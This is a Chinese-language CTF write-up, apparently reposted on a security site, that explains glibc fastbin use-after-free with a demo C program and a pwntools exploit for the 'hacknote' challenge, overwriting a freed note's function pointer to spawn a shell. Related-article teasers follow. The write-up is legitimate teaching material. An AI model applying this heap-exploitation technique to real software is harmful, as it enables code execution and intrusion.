<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    堆、UAF之PWN從實驗到原理

    VSole2022-07-08 16:59:40

    開局一段代碼:

    #include  void func1(){    printf("func1");} void hack(){    printf("hack");} struct Pfunc{    void (*p)();};  int main(){    struct Pfunc* lpfunc = malloc(8);    lpfunc->p = func1;    lpfunc->p();     free(lpfunc);      long* hack_point = malloc(8);    *hack_point = hack;     lpfunc->p();    return 0;}
    

    編譯32位:gcc -g -m32 test.c

    猜一猜程序會怎么執行?

    為啥會這樣呢?

    glibc的ptmalloc在管理釋放的內存叫bin,申請的堆塊叫chunk

    其中小chunk內存管理器叫fastbins,使用的是 LIFO的規則,后進先出。所以申請同樣大小的小chunk,會使用最后一次free的chunk

    執行完free過后,fastbins中存放了剛剛free的指針0x804b000。

    執行malloc(8)后,看到fastbins中的chunk指針沒有了。

    看下hack_point的地址,確實是剛剛free的地址,此時兩個指針指向同一塊內存。

    為啥這兩個指針=0x0804b008,而fastbins存的0x0804b000

    在32位下chunk的結構:

    struct chunk{    size_t 暫時不管;    size_t size;//低3位不算長度    char user_data[0];}
    

    剛好偏移是8。

    ok,搞清楚原理了,來一道題:hacknote.程序提供了記事本功能。

    其中add_note函數在notelist中找一個空位置用來寫日記,但是刪除日記del_note函數中卻沒有把指針置空。print_note函數可以使用已經free的指針,存在UAF漏洞。

    現在的目標就是,把notelist[x]->pFunc= magic,然后使用已經free的notelist[x]。

    具體操作如下:

    1、因為noteNode的大小為8,如果想準確控制第二個noteNode的pFunc,那么noteNode->note的大小不能是8。創建兩個24字節的note后內存長這樣:

    對照:

    2、依次free note[0],note[1],試fastbins變成這樣:

    0x804b030是note[1]的chunk,0x804b000是note[0]的chunk

    也就是之后malloc(8)的時候,第一次會得到0x804b030,第二次會得到0x804b000。

    3、創建note[2],使note的大小=8,此時note的地址是0x804b008,仔細看看這個地址,就是note[0]的pFunc。把magic的地址寫入,

    這時候note[0]->pFunc的值就是magic了。

    4、執行print_note(0) 執行0號note的pFunc函數,getshell。

    exp:

    from pwn import * context.log_level = 'debug' sh = process("./hacknote")# sh = gdb.debug("./hacknote", "b *add_notec")elf = ELF("./hacknote")  def add_note(size, note=b"123"):    sh.sendlineafter(b"Your choice :", b"1")    sh.sendlineafter(b"Note size :", str(size).encode())    sh.sendlineafter(b"Content :", note) def del_note(index):    sh.sendlineafter(b"Your choice :", b"2")    sh.sendlineafter(b"Index :", str(index).encode()) def print_note(index):    sh.sendlineafter(b"Your choice :", b"3")    sh.sendlineafter(b"Index :", str(index).encode()) add_note(24)add_note(24) del_note(0)del_note(1) add_note(8, p32(elf.sym["magic"]))print_note(0) sh.interactive()pause()
    
    指針
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    控制流劫持攻擊是當前較為主流的攻擊方式之一,包括ROP、JOP等等。
    從代碼視角來分析漏洞問題
    shellcode loader的編寫
    2023-04-17 11:15:39
    改變加載方式指針執行#include?參數1:分配的內存的起始地址,如果為NULL則由系統決定。參數2:分配的內存大小,以字節為單位。參數3:分配的內存類型,MEM_COMMIT表示將分配的內存立即提交給物理內存,MEM_RESERVE表示保留內存但不提交。參數4:分配的內存保護屬性,PAGE_READWRITE可讀可寫,PAGE_EXECUTE_READ可執行可讀。結構體的指針,用于指定新線程的安全屬性,NULL表示默認安全屬性
    針對具有推測執行的Apple M1 CPU中的指針身份驗證的新硬件攻擊使攻擊者能夠在Mac系統上獲得任意代碼執行。
    而可以上升到所有對象共享這個屬性,而這個屬性的實體在內存中也僅僅只有一份。而原型機制恰好滿足這種需求。打個不太恰當的比喻,對于每個對象,都有其原型對象作為共享倉庫,共享倉庫中有屬性和方法供生產每個對象實例時使用1> 原型鏈和繼承?原型鏈原型鏈是在原型上實現繼承的一種形式舉個例子:function?優化判斷是否為同一對象,是則直接返回
    Optional對象創建首先我們先打開Optional的內部,去一探究竟 先把幾個創建Optional對象的方法提取出來public?我們可以看到兩個構造方格都是private?我們沒辦法在外面去new出來Optional對象。這個靜態方法大致?是創建出一個包裝值為空的一個對象因為沒有任何參數賦值。再做一個簡單的實例展示 與上面對應//?//如果為空直接返回this
    前言1.漏洞描述在win32k!xxxMNEndMenuState函數中,函數會調用MNFreePopup函數釋放tagPOPUPMENU對象,但是函數釋放對象以后,沒有清空指針。而在彈出窗口過程中,用戶可以劫持相應的處理函數來實現兩次調用xxxMNEndMenuState函數,因為雙重釋放導致BSOD的產生。通過內存布局,可以偽裝tagPOPUPMENU對象在釋放的內存空間中,通過解引用修改窗口對象的關鍵的標志位,可以通過SendMessage函數讓窗口在內核態執行指定的處理函數實現提權操作。
    近日,安識科技A-Team團隊監測到一則 Linux Kernel 組件存在權限提升漏洞的信息,漏洞編號:CVE-2022-23222,漏洞威脅等級:高危。 該漏洞是由于 Linux 內核的 BPF 驗證器存在一個空指針漏洞,沒有對 *_OR_NULL 指針類型進行限制,允許這些類型進行指針運算。攻擊者可利用該漏洞在獲得低權限的情況下,構造惡意數據執行空指針引用攻擊,最終獲取服務器 root
    緩沖區溢出及其發生方式
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类